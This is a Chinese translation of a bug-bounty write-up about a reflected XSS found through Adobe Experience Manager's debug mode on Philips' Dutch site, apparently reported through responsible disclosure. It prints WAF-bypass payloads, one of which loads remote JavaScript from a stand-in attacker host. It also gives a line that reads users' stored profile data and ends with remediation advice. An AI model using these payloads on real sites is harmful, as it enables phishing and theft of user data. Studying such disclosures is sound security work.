在Philips.com中反射型xss

翻譯自:https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c
翻譯:聶心明
你想參加私有衆測?我很樂意邀請你,請聯繫我[email protected]

背景

從上一篇文章我們學到,xss攻擊 的危害性很高;你能夠用xss偷取cookie,攻擊訪問者的瀏覽器,或者用它釣魚
今天我們將會學到Adobe Experience Manager (AEM) 的反射型xss,並且我們用能繞過waf的攻擊向量來做一個釣魚頁面。

Philips

一如既往,我們需要一個合適的攻擊目標。Philips怎麼樣?今年他們獲得了“荷蘭最受尊敬的公司”。消費者信任他們的品牌,這就讓他們成爲釣魚攻擊者的高價值目標。

並且,它們有負責任的披露平臺,所以我能很安全的幫助到他們。是時候公佈我們的榮耀殿堂了。

偵查,尋找合適的攻擊向量

我們去那裏尋找xss呢?其實沒有一個嚴格的規則。在測試開始前,我會用Aquatone去探測子域名,看看這個報告的詳情。之後,我會打開Burp Suite,看看這篇報告,然後我開始尋找漏洞。

當我開始訪問網站的時候,Burp Suite會捕捉所有的請求報文和返回報文。Burp Suite有一個很棒的功能就是創建網站地圖。我們能快速看到網站的結構,這也會讓我們更容易的重放一些請求數據包,然後去檢測那個頁面上是否有xss漏洞。

xss的原則是我們可以篡改輸入變量(比如網站的url或者輸入框)目的是注入我們自己的html變量到目標網站中去。因爲我們能夠注入一些能夠改變網站結構的JavaScript代碼,這樣就可以僞造一個登陸頁面。

url是一個很重要的攻擊向量。如果url直接反射到了返回頁面之中,且沒有經過過濾,那麼就會有潛在的xss漏洞。

另一個重要的事情是,能不能添加一些html數據到網站數據庫中,這就是存儲型xss

長話短說,經過幾個小時的嘗試,我沒有找到反射或者存儲型xss。我開始觀察burp捕捉到的url參數,它們都被過濾了。很好啊,Philips!


下面給你們看一個例子,我們操作輸入數據試圖在頁面中注入<h1>Hi mom</h1>。它被過濾成&lt;h1&gt;Hi+mom&lt;/h1&gt;。所以瀏覽器就不會把它們試圖渲染成html,而是把它們當成普通文本。

我們現在要做什麼?去尋找這個網站是用了什麼框架

通過WhatCMS.org來查看Philips是用什麼框架寫的。它們創造了一種算法,能識別320種cms系統,真棒!

發現網站框架名的另一種方式是查看網站主頁源代碼的頂部:

現在我們知道它們用的web框架是Adobe Experience Manager (AEM),我應該儘可能多的去接觸一下這個cms。這也給了我們更多尋找漏洞的靈感。最佳實踐是什麼?過去有沒有安全升級?或者其中有沒有隱藏的函數?

Adobe Experience Manager

儘可能的去閱讀這個軟件的文檔,有時會經常帶給我們一些啓發。另外,就是嘗試去谷歌一下這個軟件,尋找一些關於這個軟件的博客或者一些專家分享的一些奇怪特性。




如果你用/?debug=layout去訪問Philips這個網站呢?

在debug模式下,返回頁面居然把url直接放入了其中。

好的,讓我們試一下JavaScript。

繞過應用防火牆

所以我們有了注入點,就是url路徑結合參數debug=layout。現在我們要尋找一些可以繞過防火牆的且能執行JavaScript的html代碼。

識別waf

可以用 WhatWaf來快速識別所使用的waf。它會用一些payload去探測目標,並且用一些規則來匹配輸出。

它們用的waf是ModSecurity和AkamaiGHost.

繞過ModSecurity 和 AkamaiGHost

我喜歡用手工的方式去做某些事情。可以嘗試用 Burp Suite Intruder爆破一下,但是大量的請求會對服務器造成巨大的壓力;你也會被加入到黑名單中。
當我們喝完一杯茶之後我們發現:

  1. waf會攔截<script>標籤
  2. waf允許<body>標籤
  3. waf攔截了幾乎所有的JavaScript事件(比如:onerror, onload, onmouseout),但是允許使用 onpointerenter事件
  4. waf會攔截在路徑出現的https://

我會查看是否jQuery已經被加載到這個頁面之中。jQuery允許我們創建一些體積很小且可以跨瀏覽器運行的payload(通過使用getScript函數)

現在是時候去構造payload了:
https://www.philips.nl/healthcare/<body onpointerenter="jQuery.getScript('https:/' +'/attackerserver.ltd/philips/inject.js')">?debug=layout

我們注入了一個body標籤,當有人把鼠標移動到頁面的上的時候,就會觸發jQuery的 getScript函數。這個函數會加載我們的JavaScript文件,並且執行裏面的內容。我們使用'https:/' +'/attackerserver.ltd'去繞過waf對於https://的過濾。
我們把payload進行一次url編碼,目的是確保鏈接有效,且能更容易的發送給受害者手中。

能用的payload

https://www.philips.nl/healthcare/%3Cbody%20onpointerenter=%22jQuery.getScript('https:/'+'/attackerserver.ltd/philips/inject.js')%22%3E?debug=layout

創造一個合適的poc

所有人都知道<script>alert('XSS')</script>是一個經典的poc,但是我希望我能花一點時間做一個令人印象深刻的poc,一個完整的phishing登錄頁面。

這可以以更好的方式把這個漏洞的危害性展示給其他人,如果有人看到這個假登錄頁面就會明白這個漏洞的危害性有多高。

在後期的文章中,我將解釋如何在幾分鐘之內創建好這個釣魚頁面。你可以關注我的推特Medium 來獲取更新的文章

從用戶的日誌信息中偷走用戶的詳細信息

Philips用 Janrain來作爲消費者用戶的登錄界面。Janrain會在瀏覽器的 localstorage 中存儲用戶的詳細信息。所以如果一個人曾經登錄過的話,我們就能偷走他的詳細信息。

下面這一行JavaScript代碼就可以從日誌中偷走用戶的詳細信息。
var user = (localStorage.getItem("janrainCaptureProfileData")) ? localStorage.getItem("janrainCaptureProfileData") : "Not logged in";

poc的運行

繞過html標籤的檢查

Philips添加了一個新的防火牆規則來阻止所有的html標籤。但還是開着debug模式。在丟失一個>的情況下,我們還是能夠注入html標籤。

https://www.philips.nl/healthcare/<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"?debug=layout

我們還是能夠在服務器中注入payload,當你看到來自<br>>時,它就能閉合掉body標籤。當waf阻擋alert()這個字符串時,有一個小技巧可以去繞過它:就是把這個字符串分割成兩部分,然後把它們添加到html標籤的屬性之中。通過使用top[attribute1+attribute2],就會把相同標籤的屬性合併起來。

解決方案

  • 這個問題的解決方案非常簡單,就是關閉debug模式就好,通過AEM的配置就可以做到這點
  • 可以改善waf來阻擋url中的html標籤或者事件函數,但使用黑名單從來不是一個很好的解決方案,我們總是可以發現更多新的payload去繞過黑名單的檢查。

攻擊的影響

  • 通過訪問我們準備好的鏈接就可以偷走用戶的隱私信息
  • 通過在受害者瀏覽器中注入beefproject.com框架,就可以攻擊訪問者的瀏覽器
  • 創建一個釣魚頁面

榮耀殿堂

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章